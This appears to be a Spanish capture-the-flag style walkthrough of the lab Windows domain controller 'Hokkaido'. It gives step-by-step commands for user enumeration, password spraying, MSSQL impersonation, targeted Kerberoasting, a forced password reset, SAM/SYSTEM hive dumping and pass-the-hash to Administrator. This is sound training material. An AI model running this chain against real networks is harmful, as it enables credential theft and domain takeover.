Hokkaido

Detalles
- Sistema Operativo: Windows
- Dificultad: Medium
- IP Address: 192.168.146.40
- Autor: AETH3RON
Resumen
Hokkaido es una máquina AD Windows de dificultad Media que requiere pivoting multi-etapa. El acceso inicial se establece mediante enumeración de usuarios y password spraying, que lleva a credenciales en un share y acceso a MSSQL. La impersonación en la base de datos revela credenciales LDAP que permiten un ataque de Targeted Kerberoasting via ACL GenericWrite y un reseteo forzado de contraseña de un admin Tier 1. La escalada final abusa de SeBackupPrivilege para volcar hives del registro y hacer pass-the-hash como Administrador.
Enumeración
Nmap
Comenzamos escaneando el objetivo para identificar los puertos abiertos y los servicios.
nmap -Pn -sS -sV -p- 192.168.146.40 -oN nmap-basic

Realizamos un escaneo más completo sobre los puertos descubiertos.
nmap -Pn -sS -sV -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389 192.168.146.40 -oN nmap-common

El escaneo confirma que es un Controlador de Dominio Windows con servicios AD típicos (DNS, Kerberos, LDAP, SMB) y MSSQL.
Kerbrute
Utilizamos kerbrute para validar nombres de usuario potenciales contra el dominio usando una wordlist grande.
kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.146.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100

Este proceso identificó varias cuentas de usuario válidas. Guardamos estos nombres en usernames.txt para el password spraying.
SMB
Usando los nombres de usuario descubiertos, intentamos un password spray donde la contraseña coincide con el nombre de usuario.
nxc smb 192.168.146.40 -u usernames.txt -p usernames.txt

El ataque tuvo éxito, revelando credenciales válidas para el usuario info (info:info). Con estas credenciales podemos enumerar todos los usuarios del dominio.
nxc smb 192.168.146.40 -u info -p info --users

Guardamos la lista completa de usuarios para procesarla. Para explorar los shares accesibles al usuario info, usamos el módulo spider_plus de NetExec.
nxc smb 192.168.146.40 -u info -p info -M spider_plus

Analizando el JSON resultante, identificamos un archivo llamado password_reset.txt en el share NETLOGON con la contraseña Start123!.
Spraylamos la contraseña Start123! contra nuestra lista de usuarios.
nxc smb 192.168.146.40 -u usernames.txt -p 'Start123!' --continue-on-success

Esto reveló otro conjunto de credenciales válidas: discovery:Start123!.
MSSQL
El usuario discovery no tenía acceso WinRM o RDP, pero NetExec indicó acceso al servicio MSSQL. Nos conectamos usando impacket-mssqlclient.
impacket-mssqlclient discovery:'Start123!'@192.168.146.40 -windows-auth

Una vez conectados, enumeramos las bases de datos disponibles.
SELECT name FROM master..sysdatabases;

Identificamos una base de datos no estándar llamada hrappdb. Verificamos qué usuarios podemos impersonar para escalar privilegios en el contexto de la base de datos.
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'


La salida confirmó que podíamos impersonar al usuario hrappdb-reader. Ejecutamos la impersonación y accedimos exitosamente a la base de datos objetivo.
EXECUTE AS LOGIN = 'hrappdb-reader'; use hrappdb;
Enumeramos las tablas dentro de la base de datos.
SELECT * FROM hrappdb.INFORMATION_SCHEMA.TABLES;

Consultando las tablas identificadas revelamos credenciales para una cuenta de servicio: hrapp-service:Untimed$Runny.
SELECT * FROM sysauth;

Acceso Inicial
Con las credenciales de hrapp-service, utilizamos bloodhound-python para recolectar datos del dominio.
bloodhound-python -u hrapp-service -p 'Untimed$Runny' -ns 192.168.146.40 -d hokkaido-aerospace.com -c All

Tras importar los datos en BloodHound, analizamos los caminos más cortos hacia el compromiso. Descubrimos que hrapp-service tiene privilegios GenericWrite sobre el usuario Hazel.Green, que es un Administrador Tier 2.

Este permiso nos permite realizar un ataque de Targeted Kerberoasting. Modificando el servicePrincipalName (SPN) del usuario objetivo, podemos solicitar un ticket TGS de Kerberos e intentar crackearlo offline.
python3 targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.146.40

Extraemos exitosamente el hash y lo crackeamos con Hashcat, revelando la contraseña: haze1988.

Movimiento Lateral
Un análisis adicional en BloodHound mostró que Hazel.Green es miembro del IT Group. Este grupo tiene el permiso de cambiar forzosamente las contraseñas de los Administradores Tier 1, específicamente el usuario MOLLY.SMITH.
Usamos rpcclient para explotar este permiso y resetear la contraseña de Molly.
rpcclient -N 192.168.146.40 -U 'hazel.green%haze1988' $> setuserinfo2 MOLLY.SMITH 23 'Password123!'

Con la contraseña establecida en Password123!, iniciamos sesión vía RDP para verificar el acceso.
xfreerdp3 /u:molly.smith /p:'Password123!' /v:192.168.146.40 +clipboard

Escalada de Privilegios
Una vez autenticados como MOLLY.SMITH, comprobamos nuestros privilegios asignados.
whoami /priv

La salida confirma que el usuario posee SeBackupPrivilege. Este privilegio nos permite eludir las restricciones de lectura de archivos para volcar los hives críticos SAM y SYSTEM del registro.
Ejecutamos los siguientes comandos para guardar los hives en un directorio temporal:
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system

Transferimos los archivos de vuelta a nuestra máquina atacante y usamos impacket-secretsdump para extraer los hashes locales offline.
impacket-secretsdump -system system -sam sam local

La herramienta volcó exitosamente el hash NTLM del Administrador local. Usamos este hash para autenticarnos vía WinRM (Pass-the-Hash), obteniendo una shell SYSTEM completa.
evil-winrm -i 192.168.146.40 -u administrator -H "d752482897d54e239376fddb2a2109e4"

Impacto de Negocio
Esta cadena de ataque ilustra cómo el acceso inicial a través de credenciales débiles puede escalar hasta el compromiso total del dominio mediante abuso de MSSQL y ataques Kerberos. La capacidad de realizar Targeted Kerberoasting tras obtener permisos GenericWrite demuestra cómo una única ACL mal configurada puede exponer credenciales de cuentas de servicio. El posterior abuso de SeBackupPrivilege en el controlador de dominio permite la extracción de todos los secretos del dominio, incluyendo el hash KRBTGT, lo que permitiría a un atacante forjar Golden Tickets y mantener acceso persistente e indetectable a todo el entorno de Active Directory. Para organizaciones con autenticación integrada con MSSQL, esto representa una ruptura completa de su frontera de seguridad.
Referencias
- NetExec (nxc):
- Impacket:
- Kerbrute:
- Targeted Kerberoasting:
- SeBackupPrivilege Abuse:
- Targeted Kerberoasting (harmj0y):